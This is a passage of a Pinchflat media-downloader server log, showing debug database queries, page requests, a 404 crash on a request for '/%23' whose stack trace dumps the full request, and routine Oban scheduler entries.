s0 LIMIT 1 [] 21:17:45.637 [debug] QUERY OK source="settings" db=2.9ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.641 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.6ms idle=14.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:17:45.631 [error] #PID<0.11476.0> running PinchflatWeb.Endpoint (connection #PID<0.11456.0>, stream id 4) terminated Server: rutube.spluft.ru:80 (http) Request: GET /%23 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%23 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%23", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11476.0>, params: %{}, path_info: ["%23"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/%23", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4GjX7LsXJm0AAMEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%23", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%23 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%23", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X (truncated) 21:17:45.653 [info] Sent 200 in 51ms 21:17:45.776 [info] GET /sources/6/media/76347 21:17:45.776 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76347", "source_id" => "6"} Pipelines: [:browser] 21:17:45.777 [debug] QUERY OK source="media_items" db=0.5ms idle=149.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76347] 21:17:45.778 [debug] QUERY OK source="tasks" db=0.4ms idle=148.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76347] 21:17:45.779 [debug] QUERY OK source="sources" db=1.5ms idle=144.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:45.780 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=142.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1971] 21:17:45.781 [debug] QUERY OK source="settings" db=0.3ms idle=139.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.782 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.782 [debug] QUERY OK source="settings" db=0.3ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.784 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:17:45.807 [info] Sent 200 in 30ms 21:17:45.916 [info] GET /sources/6 21:17:45.916 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 21:17:45.917 [debug] QUERY OK source="sources" db=0.3ms idle=136.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:45.917 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=136.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:17:46.108 [info] GET /sources/6/media/76376 21:17:46.108 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76376", "source_id" => "6"} Pipelines: [:browser] 21:17:46.109 [debug] QUERY OK source="media_items" db=0.3ms idle=325.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76376] 21:17:46.109 [debug] QUERY OK source="tasks" db=0.3ms idle=325.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76376] 21:17:46.109 [debug] QUERY OK source="sources" db=0.3ms idle=192.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:46.112 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=194.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1974] 21:17:46.113 [debug] QUERY OK source="settings" db=0.6ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.115 [debug] QUERY OK source="settings" db=1.5ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.116 [debug] QUERY OK source="settings" db=0.4ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.117 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:17:46.127 [info] Sent 200 in 19ms 21:17:46.226 [info] GET /sources/6/media/76349 21:17:46.229 [info] Exqlite.Connection (#PID<0.2321.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.11481.0> exited 21:17:46.314 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 21:18:00.609 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:11.202 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:41.204 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.613 [info] {"source":"oban","duration":3340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:11.206 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:41.208 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.618 [info] {"source":"oban","duration":3908,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:11.211 [info] {"source":"oban","duration":2465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:41.213 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.620 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:11.215 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:41.218 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.621 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:11.220 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:41.222 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.627 [info] {"source":"oban","duration":4424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:11.224 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:41.226 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.628 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:11.228 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:41.230 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.634 [info] {"source":"oban","duration":3800,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:11.232 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:41.234 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.641 [info] {"source":"oban","duration":3479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:11.236 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:41.238 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.645 [info] {"source":"oban","duration":3023,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:11.240 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:41.242 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.648 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:11.243 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:41.246 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.652 [info] {"source":"oban","duration":4016,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:11.249 [info] {"source":"oban","duration":1968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:41.251 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.653 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:11.254 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:41.256 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.659 [info] {"source":"oban","duration":4651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:11.258 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:41.260 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.669 [info] {"source":"oban","duration":7710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:11.263 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:41.265 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.675 [info] {"source":"oban","duration":4692,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:11.267 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:41.269 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.678 [info] {"source":"oban","duration":2175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:11.271 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:41.273 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.679 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:11.276 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:41.278 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.681 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:11.280 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:41.282 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.683 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:11.285 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:41.289 [info] {"source":"oban","duration":2763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.687 [info] {"source":"oban","duration":2385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:11.290 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:41.294 [info] {"source":"oban","duration":3195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.695 [info] {"source":"oban","duration":4522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:11.296 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:41.298 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.696 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:11.300 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:41.303 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.701 [info] {"source":"oban","duration":4225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:11.305 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:41.308 [info] {"source":"oban","duration":1825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.703 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:11.310 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:41.312 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.709 [info] {"source":"oban","duration":3649,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:11.314 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:41.316 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.714 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:11.318 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:41.320 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.719 [info] {"source":"oban","duration":3096,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:11.322 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:41.324 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.724 [info] 